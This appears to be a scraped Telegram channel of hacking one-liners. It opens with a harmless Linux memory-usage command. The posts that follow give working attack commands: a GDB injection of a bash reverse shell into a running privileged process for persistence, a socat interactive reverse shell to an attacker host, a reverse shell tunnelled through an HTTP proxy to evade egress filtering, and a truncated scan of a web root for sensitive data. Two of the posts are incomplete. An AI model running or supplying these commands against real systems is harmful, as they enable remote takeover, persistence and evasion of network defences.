The Exploit Lab
700 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
πŸ” Top Memory Consumers on Your Linux System

Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:

ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|head

What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.

Why it’s useful:
βœ… Quickly identify resource-heavy users.
βœ… Helpful for server admins and troubleshooting.
βœ… No extra tools neededβ€”just pure Bash!

πŸ“’ Follow for more Linux tips & tricks:
🐦 Twitter
πŸ“Œ Telegram
πŸŽ₯ YouTube

#Linux #SysAdmin #Bash #CommandLine #TheExploitLab
🐧 Inject Reverse Shell into Live Process
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

πŸ“‹ Command:
gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

πŸ’‘ Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 17:22 | @TheExploitLabX
🐧 Socat Interactive Reverse Shell
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Establishes a fully interactive reverse shell over TCP to an attacker's listener.

πŸ“‹ Command:
socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

πŸ’‘ Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).

🚩 Flags:
┃ TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).
┃ EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.
┃ pty: Allocates a pseudo-terminal for a fully interactive shell experience.
┃ stderr: Redirects standard error to the network connection.
┃ setsid: Creates a new session ID, detaching the process from the parent.
┃ sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.
┃ sane: Resets terminal settings to a standard, functional state.

β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 17:29 | @TheExploitLabX
🐧 Web Root Sensitive Data Scan
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Recursively searches a web root for common sensitive data patterns within various file types.

πŸ“‹ Command:
find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf


β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 17:31 | @TheExploitLabX
🐧 Proxy Reverse Shell Magic
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.

πŸ“‹ Command:
socat TCP:proxy.example.com:8080 PROXY:attacker_ip:4444,proxytype=http EXEC:'/bin/bash -li

πŸ’‘ Use Case:

β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
#Linux #CommandLine #SysAdmin #Hacking #Kali
β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„β”„
πŸ• 03 Mar 2026 β€’ 18:49 | @TheExploitLabX